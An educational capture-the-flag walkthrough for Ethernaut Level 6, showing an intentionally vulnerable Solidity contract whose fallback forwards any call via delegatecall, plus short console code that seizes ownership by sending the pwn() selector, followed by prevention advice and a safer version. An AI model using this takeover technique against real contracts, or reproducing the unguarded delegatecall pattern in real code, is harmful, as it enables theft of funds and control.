Ethernaut Level 6: Delegation

Learn about Solidity's delegation pattern and how it can be exploited if not implemented carefully. This challenge demonstrates how delegatecall can be dangerous when used improperly.

DelegationdelegatecallSecurity

The Challenge

The goal of this level is to claim ownership of the contract. You are given two contracts: a Delegate contract and a Delegation contract. The Delegation contract uses delegatecall to execute code from the Delegate contract.

The Contracts

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
  address public owner;

  constructor(address _owner) {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {
  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (!result) {
      revert();
    }
  }
}

Understanding the Vulnerability

The vulnerability in this challenge stems from how delegatecall works in Solidity. When a contract uses delegatecall:

  • The code at the target address is executed in the context of the calling contract
  • The storage layout must match between the contracts
  • msg.sender and msg.value are preserved

In this case, the Delegation contract has a fallback function that performs a delegatecall to whatever function is specified in the msg.data. The Delegate contract has a pwn() function that sets the owner to msg.sender. Because of how delegatecall works, when pwn() is called via delegatecall, it will modify the owner variable in the Delegation contract's storage.

The Solution

To solve this challenge, we need to:

  1. Get the function signature of pwn()
  2. Send a transaction to the Delegation contract with this function signature as msg.data

Solution Code

// In the browser console:

// Get the function signature for pwn()
const pwnSignature = web3.eth.abi.encodeFunctionSignature('pwn()')
// '0xdd365b8b'

// Send transaction to the contract
await contract.sendTransaction({data: pwnSignature})

// Verify you are the new owner
await contract.owner() === player

Understanding delegatecall

delegatecall is a low-level function in Solidity that allows a contract to execute code from another contract while maintaining its own storage context. This means:

  • Storage variables are accessed from the calling contract
  • msg.sender remains the original caller
  • ETH value (if sent) stays with the calling contract

Storage Layout

For delegatecall to work properly, both contracts must have matching storage layouts:

// Delegate contract storage
address public owner;  // slot 0

// Delegation contract storage
address public owner;  // slot 0
Delegate delegate;     // slot 1

// When pwn() is called via delegatecall, it modifies slot 0
// in the Delegation contract's storage

Key Lessons

  • Dangerous Flexibility: delegatecall is powerful but dangerous because it executes code in the context of the calling contract
  • Storage Layout: When using delegatecall, storage layout must match between contracts
  • Fallback Functions: Be careful with fallback functions that forward calls, especially with delegatecall
  • Access Control: Consider who can trigger delegatecall and what functions they might be able to call

Prevention

To prevent this type of vulnerability:

  • Avoid using delegatecall with untrusted contracts
  • If delegatecall is necessary, implement strict access controls
  • Validate function signatures before forwarding calls
  • Consider using a proxy pattern with explicit function forwarding

Safer Implementation

contract SaferDelegation {
    address public owner;
    Delegate delegate;
    
    // Mapping of allowed function signatures
    mapping(bytes4 => bool) public allowedFunctions;
    
    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }
    
    // Only allow specific functions to be called via delegatecall
    function setAllowedFunction(bytes4 functionSig, bool allowed) external {
        require(msg.sender == owner, "Only owner");
        allowedFunctions[functionSig] = allowed;
    }
    
    fallback() external {
        require(allowedFunctions[msg.sig], "Function not allowed");
        (bool result,) = address(delegate).delegatecall(msg.data);
        require(result, "Delegatecall failed");
    }
}

Real World Impact

This vulnerability pattern has led to several real-world exploits, particularly in proxy contract implementations. The most notable example is the Parity Wallet Hack, where a similar delegatecall vulnerability led to the loss of millions of dollars worth of ETH.

⚠️ Important Note

When implementing upgradeable contracts or proxy patterns, always ensure that:

  • Storage layouts are carefully managed and documented
  • Delegate calls are restricted to trusted contracts
  • Access controls are properly implemented
  • Function signatures are validated